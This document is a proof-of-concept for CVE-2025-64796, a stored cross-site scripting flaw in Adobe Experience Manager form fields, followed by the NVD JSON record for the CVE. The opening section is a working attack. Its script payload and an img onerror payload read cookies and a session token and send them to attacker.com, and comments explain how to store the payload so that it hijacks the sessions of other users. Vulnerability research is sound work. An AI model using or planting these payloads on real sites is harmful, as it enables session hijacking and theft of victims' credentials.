CVE-2025-64796

<!-- CVE-2025-64796 PoC: Stored XSS in Adobe Experience Manager Form Fields --> <!-- Attacker with low privileges injects malicious script into form field --> <!-- Step 1: Malicious payload injection --> <script> // Malicious JavaScript to be stored and executed var stolenCookies = document.cookie; var stolenSession = sessionStorage.getItem('cq-session'); // Exfiltrate data to attacker-controlled server fetch('https://attacker.com/steal?data=' + btoa(stolenCookies + '|' + stolenSession), { method: 'GET', mode: 'no-cors' }); // Optional: Session hijacking script // This could be used to impersonate the victim user console.log('XSS Payload Executed - CVE-2025-64796'); </script> <!-- Alternative payload: Image tag with event handler --> <img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)"> <!-- PoC Explanation: --> <!-- 1. Attacker with low privileges creates/edits content containing the form --> <!-- 2. Attacker injects the above JavaScript into a vulnerable form field --> <!-- 3. The malicious script is stored in the AEM JCR repository --> <!-- 4. When other users view the page, the script executes in their browser context --> <!-- 5. Attacker can steal session cookies, tokens, or perform actions as the victim -->

{"cve": {"id": "CVE-2025-64796", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:28.627", "lastModified": "2025-12-12T18:13:10.417", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}